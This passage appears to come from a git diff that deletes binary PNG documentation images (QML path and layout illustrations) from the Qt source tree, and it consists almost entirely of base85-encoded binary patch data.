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 Aw*UYD diff --git a/src/qml/doc/images/declarative-nopercent.png b/src/qml/doc/images/declarative-nopercent.png deleted file mode 100644 index 28b00a91e7b38f3448d4515265e859155b937a5b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 553 zcmeAS@N?(olHy`uVBq!ia0vp^CxAGGg9%9bJb4iVq&N#aB8wRq_tN_ zwA7t3de>ie~cCWhm;g`gy6)x$Z1cr6LwzniMV{f=kt%+FZ>6* zXV;}2eKNPjSd24qq5y>GyqYMPH21<0*X>CY4UQ`%9z`-_qn?iQn#)nuFV{w>oZ09R zvC)I0yJZ8Ikl32_XoHfDv(B-~SjEL*dyid^=|-4qcxp%EV@Y!Z5M`MRv8o{a#EPst z43F=KPTG(J5?bGq))DUXSxDxdC)DJMoc{XbZ;wq7{CA=MxZ1s~7h)AT({+R%G~184Ii;Gi_dIWKdFJd% zx+(lWcy_!+v?6D;VrRk8O}hK`y_34h<@sidXq~OjJeg;kI&0S*Wz?RgTa@1Z=TLdo zx)1*zKkh$%;XeP$%XKNM^?%>B`+bbj-|4nMdD#j5J3AU%b~_=$m>}yTXWsGaOMWNm Rt^vk9gQu&X%Q~loCICIC>p=hj diff --git a/src/qml/doc/images/declarative-patharc.png b/src/qml/doc/images/declarative-patharc.png deleted file mode 100644 index 81c9b803e5e5d801aec80676b2b89edaa7c8b554..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4827 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 diff --git a/src/qml/doc/images/declarative-pathcurve.png b/src/qml/doc/images/declarative-pathcurve.png deleted file mode 100644 index c585cff0f02cf57552234403acb8ccd7d7f48770..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6092 zcmeH~=QA7t^T*FQoPNq71gFprtrg(}?alRJB_iz|PMe|30D6VT!iYHl`lDQC!QTJX22x_4sNj%jy5C!Pk_D= zQq@5GZ>S}SrJu%qqIZnKw@%4o1N?TP(}7R|cBqOc9?c$UvW&~&dgUlGi2xR?_F;j* zglMeq;WZ!M9@;7f8#ojcvfAlLC$MR$Pbct~N$4}FKhLq9nKz^2+w}V2qt5$AsgF_) z8)rCEUJvP<(@bG7r&<()lVNYK`V+)0e>jG)DG$mB^^QiqT>~AU28SL8{Y}D;$~;>D z(RVs0={@_C!Si~9t7_Kag|fQcH_>uu!qx}Ryj6T>M4vfWckcLE1#NyD(Q|nbh8UMQ z^a%sx!vJF_O3`fKGdlu7B}Axapo~AOuSMS|mG2tO_>TU!xP-~_MO8=u5vBBV%M?%M0l#wa_ytXToJeJ4w$2vy%#l9 z8t%G+##4pGn`qMU;)xfMlcfl`5qqLIeDQ6%SV7TXEFo4IsEG$mAvo^lHXzgProb}& zK!##j#ZV>7Qrm#VWnc?g4T?<|$P#5JjAs+&_8V_V8G?@Hg+Nnd(%8r~DMe!#QsmbO zuar;*AX@UTa5-N5ftM2SQUhrdd~v1WvDz`WZJ-!{9DY$G;z|-q8i6qszE{>AkLC6R zJ+kAOVWPm8^&I)~=aSNQ&#&;eP$>YLd+3)veuL#mI?*l$05uh@A`=5bUcv!_jpTUM zuSKBuD9(^_n!8-iGd|Rk-(QJa9)o4u;*0X5N_}@Rlj1o?@0{0x}4tZ2rA3C z%-H1ELru<9{{HNS)Gu7nlnYSrR^P46>YZFsIBiipL%gt>6g!ieyV{(ZcYHe?SFC%iOk54sFtnOho-Gu9n$DoC zYdoa(imOSv3bEfXV_kR8??X#mOJ{KWrNmLsD*oylYAIqpVoBm8)z@EM#3fL#nb4Xh z?y5K&OBz!e2pRIYnrG7`YU#X7A5R)5bel+}PTfo`N}Ww@Om*SXC^az3Hqxzdst~PM zGYWdApd+9ytJSCNlkT0~!6z@kA+*LzBVf!v!TpH+#3JM29(NAsC*vmgdENad`expx zRv8Nltvdd->u$$Q$DUWzS8Kln^0-c3A<9XZtr~IL;5l_^VzZ!GFOO>4sob^q0#8n#&8uiZV z7!4DP=*kgAQq@$itkzP4j ze5RRG{HrkU!{Yl0OQOo2F|G00%17@=_nvHXZ%^(19E&~^JZlLJJHwobTu)ug-KyVy zB6Py%iPnv#ixz?N!C8A$dMJ9P)pyljtIH-{Cw4GeGVn053cqk=w_kNOavgU*o-&zE 